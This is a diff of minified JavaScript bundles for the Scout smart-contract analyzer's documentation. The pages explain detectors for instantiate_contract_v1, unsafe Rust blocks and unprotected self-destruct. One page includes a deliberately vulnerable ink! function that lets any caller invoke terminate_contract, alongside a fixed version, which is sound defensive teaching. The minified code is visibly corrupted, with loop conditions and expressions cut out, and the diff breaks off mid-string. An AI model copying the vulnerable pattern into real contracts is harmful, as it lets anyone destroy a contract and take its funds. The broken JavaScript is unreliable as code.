r=n(9496);function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function a(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function i(t){for(var e=1;e=0||(o[n]=t[n]);return o}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n])}return o}var s=r.createContext({}),l=function(t){var e=r.useContext(s),n=e;return t&&(n="function"==typeof t?t(e):i(i({},e),t)),n},u=function(t){var e=l(t.components);return r.createElement(s.Provider,{value:e},t.children)},d="mdxType",p={inlineCode:"code",wrapper:function(t){var e=t.children;return r.createElement(r.Fragment,{},e)}},m=r.forwardRef((function(t,e){var n=t.components,o=t.mdxType,a=t.originalType,s=t.parentName,u=c(t,["components","mdxType","originalType","parentName"]),d=l(n),m=o,f=d["".concat(s,".").concat(m)]||d[m]||p[m]||a;return n?r.createElement(f,i(i({ref:e},u),{},{components:n})):r.createElement(f,i({ref:e},u))}));function f(t,e){var n=arguments,o=e&&e.mdxType;if("string"==typeof t||o){var a=n.length,i=new Array(a);i[0]=m;var c={};for(var s in e)hasOwnProperty.call(e,s)&&(c[s]=e[s]);c.originalType=t,c[d]="string"==typeof t?t:o,i[1]=c;for(var l=2;l{n.r(e),n.d(e,{assets:()=>s,contentTitle:()=>i,default:()=>p,frontMatter:()=>a,metadata:()=>c,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const a={},i="Don't use instantiate_contract_v1",c={unversionedId:"detectors/dont-use-instantiate-contract-v1",id:"detectors/dont-use-instantiate-contract-v1",title:"Don't use instantiate_contract_v1",description:"What it does",source:"@site/docs/detectors/33-dont-use-instantiate-contract-v1.md",sourceDirName:"detectors",slug:"/detectors/dont-use-instantiate-contract-v1",permalink:"/scout/docs/detectors/dont-use-instantiate-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/33-dont-use-instantiate-contract-v1.md",tags:[],version:"current",sidebarPosition:33,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy values get and not set",permalink:"/scout/docs/detectors/lazy-values-not-set"},next:{title:"Contribute",permalink:"/scout/docs/contribute"}},s={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Implementation",id:"implementation",level:3}],u={toc:l},d="wrapper";function p(t){let{components:e,...n}=t;return(0,o.kt)(d,(0,r.Z)({},u,n,{components:e,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dont-use-instantiate_contract_v1"},"Don't use instantiate_contract_v1"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks that method ",(0,o.kt)("inlineCode",{parentName:"p"},"instantiate_contract_v1")," is not used in the contract."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"This is a low level way to instantiate another smart contract, calling the legacy ",(0,o.kt)("inlineCode",{parentName:"p"},"instantiate_v1")," host function."),(0,o.kt)("p",null,"Prefer to use methods on a ",(0,o.kt)("inlineCode",{parentName:"p"},"ContractRef")," or the ",(0,o.kt)("inlineCode",{parentName:"p"},"CreateBuilder")," through ",(0,o.kt)("inlineCode",{parentName:"p"},"build_create")," instead."),(0,o.kt)("h4",{id:"more-info"},"More info"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"))),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dont-use-instantiate-contract-v1"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3770],{9613:(t,e,n)=>{n.d(e,{Zo:()=>u,kt:()=>f});var r=n(9496);function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function a(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function i(t){for(var e=1;e=0||(o[n]=t[n]);return o}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n])}return o}var s=r.createContext({}),l=function(t){var e=r.useContext(s),n=e;return t&&(n="function"==typeof t?t(e):i(i({},e),t)),n},u=function(t){var e=l(t.components);return r.createElement(s.Provider,{value:e},t.children)},d="mdxType",p={inlineCode:"code",wrapper:function(t){var e=t.children;return r.createElement(r.Fragment,{},e)}},m=r.forwardRef((function(t,e){var n=t.components,o=t.mdxType,a=t.originalType,s=t.parentName,u=c(t,["components","mdxType","originalType","parentName"]),d=l(n),m=o,f=d["".concat(s,".").concat(m)]||d[m]||p[m]||a;return n?r.createElement(f,i(i({ref:e},u),{},{components:n})):r.createElement(f,i({ref:e},u))}));function f(t,e){var n=arguments,o=e&&e.mdxType;if("string"==typeof t||o){var a=n.length,i=new Array(a);i[0]=m;var c={};for(var s in e)hasOwnProperty.call(e,s)&&(c[s]=e[s]);c.originalType=t,c[d]="string"==typeof t?t:o,i[1]=c;for(var l=2;l{n.r(e),n.d(e,{assets:()=>s,contentTitle:()=>i,default:()=>p,frontMatter:()=>a,metadata:()=>c,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const a={},i="Don't use instantiate_contract_v1",c={unversionedId:"detectors/dont-use-instantiate-contract-v1",id:"detectors/dont-use-instantiate-contract-v1",title:"Don't use instantiate_contract_v1",description:"What it does",source:"@site/docs/detectors/33-dont-use-instantiate-contract-v1.md",sourceDirName:"detectors",slug:"/detectors/dont-use-instantiate-contract-v1",permalink:"/scout/docs/detectors/dont-use-instantiate-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/33-dont-use-instantiate-contract-v1.md",tags:[],version:"current",sidebarPosition:33,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Don't use invoke_contract_v1",permalink:"/scout/docs/detectors/dont-use-invoke-contract-v1"},next:{title:"Contribute",permalink:"/scout/docs/contribute"}},s={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Implementation",id:"implementation",level:3}],u={toc:l},d="wrapper";function p(t){let{components:e,...n}=t;return(0,o.kt)(d,(0,r.Z)({},u,n,{components:e,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dont-use-instantiate_contract_v1"},"Don't use instantiate_contract_v1"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks that method ",(0,o.kt)("inlineCode",{parentName:"p"},"instantiate_contract_v1")," is not used in the contract."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"This is a low level way to instantiate another smart contract, calling the legacy ",(0,o.kt)("inlineCode",{parentName:"p"},"instantiate_v1")," host function."),(0,o.kt)("p",null,"Prefer to use methods on a ",(0,o.kt)("inlineCode",{parentName:"p"},"ContractRef")," or the ",(0,o.kt)("inlineCode",{parentName:"p"},"CreateBuilder")," through ",(0,o.kt)("inlineCode",{parentName:"p"},"build_create")," instead."),(0,o.kt)("h4",{id:"more-info"},"More info"),(0,o.kt)("ul",null,(0,o.kt)("li",{parentName:"ul"},(0,o.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"))),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dont-use-instantiate-contract-v1"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/f520e1c9.0696a7f9.js b/assets/js/f520e1c9.0696a7f9.js new file mode 100644 index 00000000..c37af20f --- /dev/null +++ b/assets/js/f520e1c9.0696a7f9.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2038],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function a(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var l=r.createContext({}),c=function(e){var t=r.useContext(l),n=t;return e&&(n="function"==typeof e?e(t):a(a({},t),e)),n},u=function(e){var t=c(e.components);return r.createElement(l.Provider,{value:t},e.children)},p="mdxType",f={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,i=e.originalType,l=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=c(n),d=o,m=p["".concat(l,".").concat(d)]||p[d]||f[d]||i;return n?r.createElement(m,a(a({ref:t},u),{},{components:n})):r.createElement(m,a({ref:t},u))}));function m(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var i=n.length,a=new Array(i);a[0]=d;var s={};for(var l in t)hasOwnProperty.call(t,l)&&(s[l]=t[l]);s.originalType=e,s[p]="string"==typeof e?e:o,a[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>a,default:()=>f,frontMatter:()=>i,metadata:()=>s,toc:()=>c});var r=n(2564),o=(n(9496),n(9613));const i={},a="Avoid Unsafe Block",s={unversionedId:"detectors/avoid-unsafe-block",id:"detectors/avoid-unsafe-block",title:"Avoid Unsafe Block",description:"What it does",source:"@site/docs/detectors/26-avoid-unsafe-block.md",sourceDirName:"detectors",slug:"/detectors/avoid-unsafe-block",permalink:"/scout/docs/detectors/avoid-unsafe-block",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/26-avoid-unsafe-block.md",tags:[],version:"current",sidebarPosition:26,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Buffering Unsized Types",permalink:"/scout/docs/detectors/buffering-unsized-types"},next:{title:"Warning sr25519_verify",permalink:"/scout/docs/detectors/warning-sr25519-verify"}},l={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:c},p="wrapper";function f(e){let{components:t,...n}=e;return(0,o.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"avoid-unsafe-block"},"Avoid Unsafe Block"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It tells not to use ",(0,o.kt)("inlineCode",{parentName:"p"},"Unsafe Rust"),"."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,(0,o.kt)("inlineCode",{parentName:"p"},"Unsafe Rust")," does not enforce memory safety guarantees at compile time."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn unsafe_function(&mut self, n: u64) -> u64 {\n unsafe {\n let mut i = n as f64;\n let mut y = i.to_bits();\n y = 0x5fe6ec85e7de30da - (y >> 1);\n i = f64::from_bits(y);\n i *= 1.5 - 0.5 * n as f64 * i * i;\n i *= 1.5 - 0.5 * n as f64 * i * i;\n\n let result_ptr: *mut f64 = &mut i;\n\n (*result_ptr).to_bits()\n }\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn safe_function(&mut self, n: u64) -> u64 {\n let mut i = n as f64;\n let mut y = i.to_bits();\n y = 0x5fe6ec85e7de30da - (y >> 1);\n i = f64::from_bits(y);\n i *= 1.5 - 0.5 * n as f64 * i * i;\n i *= 1.5 - 0.5 * n as f64 * i * i;\n\n let result = &mut i;\n\n result.to_bits() \n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/avoid-unsafe-block"},"this link"),"."))}f.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/f5f40401.485292c9.js b/assets/js/f5f40401.485292c9.js new file mode 100644 index 00000000..6705866e --- /dev/null +++ b/assets/js/f5f40401.485292c9.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[673],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),d=s(n),f=i,m=d["".concat(c,".").concat(f)]||d[f]||p[f]||a;return n?r.createElement(m,o(o({ref:t},u),{},{components:n})):r.createElement(m,o({ref:t},u))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,o=new Array(a);o[0]=f;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[d]="string"==typeof e?e:i,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>p,frontMatter:()=>a,metadata:()=>l,toc:()=>s});var r=n(2564),i=(n(9496),n(9613));const a={},o="Unprotected Self Destruct",l={unversionedId:"vulnerabilities/unprotected-self-destruct",id:"vulnerabilities/unprotected-self-destruct",title:"Unprotected Self Destruct",description:"Description",source:"@site/docs/vulnerabilities/18-unprotected-self-destruct.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/unprotected-self-destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/18-unprotected-self-destruct.md",tags:[],version:"current",sidebarPosition:18,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/vulnerabilities/avoid-format-string"},next:{title:"Iterators over indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:s},d="wrapper";function p(e){let{components:t,...n}=e;return(0,i.kt)(d,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"unprotected-self-destruct"},"Unprotected Self Destruct"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Critical")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-self-destruct"},(0,i.kt)("inlineCode",{parentName:"a"},"unprotected-self-destruct"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-self-destruct/unprotected-self-destruct-1"},(0,i.kt)("inlineCode",{parentName:"a"},"unprotected-self-destruct-1")))),(0,i.kt)("p",null,"Allowing users to call ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," can be a significant vulnerability due to the following reasons:"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Permanent Deletion of Contract: The ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," function in a smart contract is intended to allow the contract itself to be destroyed and remove it permanently from the blockchain. If users are allowed to call this function, they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities.")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Loss of Funds: If the contract holds any funds or tokens, invoking ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," would transfer the contract's remaining balance to the specified target address. If users can call this function, they may attempt to drain the contract's funds, leading to a loss of funds for the contract owner or other users interacting with the contract.")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Contract Dependency Issues: If other contracts or systems depend on the functionality provided by the contract being self-destructed, those dependent contracts or systems may become dysfunctional or throw errors, potentially causing further disruptions in the blockchain ecosystem."))),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delete_contract(&mut self, beneficiary: AccountId) {\n self.env().terminate_contract(beneficiary)\n }\n")),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-self-destruct/unprotected-self-destruct-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn delete_contract(&mut self, beneficiary: AccountId) {\n if self.admin == self.env().caller() {\n self.env().terminate_contract(beneficiary)\n }\n }\n")),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#unprotected-self-destruction-or-burning-instruction-s"},"Aleph Zero ink! Developer security guidelines")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#suicidal"},"Slither: Suicidal"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/f5f40401.564099e1.js b/assets/js/f5f40401.564099e1.js deleted file mode 100644 index 3b72b773..00000000 --- a/assets/js/f5f40401.564099e1.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[673],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>m});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),p=s(n),f=i,m=p["".concat(c,".").concat(f)]||p[f]||d[f]||a;return n?r.createElement(m,o(o({ref:t},u),{},{components:n})):r.createElement(m,o({ref:t},u))}));function m(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,o=new Array(a);o[0]=f;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[p]="string"==typeof e?e:i,o[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>a,metadata:()=>l,toc:()=>s});var r=n(2564),i=(n(9496),n(9613));const a={},o="Unprotected Self Destruct",l={unversionedId:"vulnerabilities/unprotected-self-destruct",id:"vulnerabilities/unprotected-self-destruct",title:"Unprotected Self Destruct",description:"Description",source:"@site/docs/vulnerabilities/18-unprotected-self-destruct.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/unprotected-self-destruct",permalink:"/scout/docs/vulnerabilities/unprotected-self-destruct",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/18-unprotected-self-destruct.md",tags:[],version:"current",sidebarPosition:18,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/vulnerabilities/avoid-format-string"},next:{title:"Iterators over indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing"}},c={},s=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Example",id:"example",level:3},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:s},p="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"unprotected-self-destruct"},"Unprotected Self Destruct"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Critical")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-self-destruct"},(0,i.kt)("inlineCode",{parentName:"a"},"unprotected-self-destruct"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-self-destruct/unprotected-self-destruct-1"},(0,i.kt)("inlineCode",{parentName:"a"},"unprotected-self-destruct-1")))),(0,i.kt)("p",null,"Allowing users to call ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," can be a significant vulnerability due to the following reasons:"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Permanent Deletion of Contract: The ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," function in a smart contract is intended to allow the contract itself to be destroyed and remove it permanently from the blockchain. If users are allowed to call this function, they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities.")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Loss of Funds: If the contract holds any funds or tokens, invoking ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract")," would transfer the contract's remaining balance to the specified target address. If users can call this function, they may attempt to drain the contract's funds, leading to a loss of funds for the contract owner or other users interacting with the contract.")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("p",{parentName:"li"},"Contract Dependency Issues: If other contracts or systems depend on the functionality provided by the contract being self-destructed, those dependent contracts or systems may become dysfunctional or throw errors, potentially causing further disruptions in the blockchain ecosystem."))),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("h3",{id:"example"},"Example"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delete_contract(&mut self, beneficiary: AccountId) {\n self.env().terminate_contract(beneficiary)\n }\n")),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/unprotected-self-destruct/unprotected-self-destruct-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn delete_contract(&mut self, beneficiary: AccountId) {\n if self.admin == self.env().caller() {\n self.env().terminate_contract(beneficiary)\n }\n }\n")),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://docs.alephzero.org/aleph-zero/security-course-by-kudelski-security/ink-developers-security-guideline#unprotected-self-destruction-or-burning-instruction-s"},"Aleph Zero ink! Developer security guidelines")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#suicidal"},"Slither: Suicidal"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/f9b37651.40110d2e.js b/assets/js/f9b37651.f32b5f4a.js similarity index 78% rename from assets/js/f9b37651.40110d2e.js rename to assets/js/f9b37651.f32b5f4a.js index 84e72118..84ec3ecb 100644 --- a/assets/js/f9b37651.40110d2e.js +++ b/assets/js/f9b37651.f32b5f4a.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1612],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function i(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var c=n.createContext({}),l=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):i(i({},t),e)),r},u=function(e){var t=l(e.components);return n.createElement(c.Provider,{value:t},e.children)},m="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},p=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),m=l(r),p=o,f=m["".concat(c,".").concat(p)]||m[p]||d[p]||a;return r?n.createElement(f,i(i({ref:t},u),{},{components:r})):n.createElement(f,i({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,i=new Array(a);i[0]=p;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[m]="string"==typeof e?e:o,i[1]=s;for(var l=2;l{r.r(t),r.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>s,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},i="Avoid fromat! macro usage",s={unversionedId:"detectors/avoid-format-string",id:"detectors/avoid-format-string",title:"Avoid fromat! macro usage",description:"What it 